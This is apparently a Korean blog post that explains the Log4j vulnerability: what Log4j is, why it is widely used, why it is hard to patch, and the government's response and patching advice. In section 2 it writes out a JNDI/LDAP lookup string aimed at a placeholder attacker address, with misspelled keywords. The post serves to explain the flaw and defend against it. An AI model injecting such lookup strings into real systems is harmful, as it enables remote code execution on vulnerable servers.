컴퓨터 사상 최악의 취약점, log4j
1) log4j란 무엇인가?
- 로그 : 컴퓨터에서 처리한 내용이나 사용자가 이용하고 있는 상황을 시간 흐름에 맞춰 기록한 것
- 로깅 : 컴퓨터가 사용자가 시스템에서 작업을 수행하면서 발생하는 모든 일을 간단하게 로그라는 형식을 통해 기록하는 것
- Log4j : 아파치 소프트웨어 재단이 개발한 ‘오픈소스 자바 로깅 프레임 워크'
- 오픈소스 → 전 세계 수많은 애플리케이션 서비스가 이를 이용
- 자바 로깅 프레임 워크 → java 코딩 도중 프로그램의 로그를 기록해주는 라이브러리의 기능을 함
- Log4j의 로깅은 프로그램의 유지 및 관리를 하기 위해 반드시 기록으로 남기기 때문에 전 세계 대부분의 서버에게 필요함
2) 어떻게 log4j에 취약점이 발생했을까?
- Log4j의 기반 언어인 java 언어에는 코드를 트리거하는 기능이 포함됨
- 그렇기에 ${jindi:Idap://공격자의 주소}라는 문자열이 포함된 메시지로 공격자가 원하는 형태로 기록이 되면 java는 원격 서버에서 참조된 개체를 가져와 코드를 실행
- 이때 사용하는 문자열 메시지를 어떻게 변형하느냐에 따라서 URL 내용, 로그인 이름, 데이터 조각 등을 기록할 수 있음
- 따라서 컴퓨터의 모든 권한을 취득할 수 있다는 위험성이 존재
3) 왜 log4j가 위험할까?
- 오픈소스이기 때문에 매우 넓은 범위에서 사용되고 있음
- 특히 Log4j는 옛날부터 사용되고 있었기 때문에 java 프로그램의 로그를 출력하는 데 있어서 사실상 표준이라고 해도 무방할 정도로 다방면으로 사용되고 있음
- 심지어 java 프로그램을 이용하지 않더라도 미들웨어로 java를 이용할 수 있기 때문에 유의해야 함
- 다른 프로그램과 의존성이 있는 코드가 많아 패치가 어려움
- 이렇듯 평소에 자주 사용하는 많은 프로그램은 java 기반으로 이루어져 있고, 본 취약점을 이용해 많은 프로그램이 공격을 받을 수 있기 때문에 위험
4) log4j 취약점을 이용한 공격의 예방법
- 과학기술정보통신부
- 정보보호 최고 책임자 간담회 개최하여 log4j 취약점 공격 방어전략, 취약 여부 점검 방법, 보안 조치 방안 등 세부적인 취약점 대응 방안에 대한 정보공유에 대해 논의
- 주요 정보통신기반시설 대상으로 긴급점검 및 보안 패치 실시
- 실제로 보안은 많은 취약점이 존재하고, 능동적으로 취약점을 찾아내야 함
- 만약 찾아내지 못한다면 디지털 전환이 이루어지는 데 있어서 위험성이 점점 커질 수 있음
- 평소에 취약점에 관해 관심을 기울이고, 보안 패치와 같은 것들은 바로바로 해주어 피해를 예방해야 함
참고 : 과학기술정보통신부 블로그 (https://blog.naver.com/prologue/PrologueList.naver?blogId=with_msip)
'~2023.02 > IT지식' 카테고리의 다른 글
Web 3.0 이란? (0) | 2022.02.20 |
---|---|
RPA(업무 자동화)란? (0) | 2022.02.14 |
블록체인이란? (0) | 2022.02.12 |
디지털 트랜스포메이션이란? (0) | 2022.02.11 |
블록체인 #메타버스 #NFT #암호화폐 (0) | 2022.02.01 |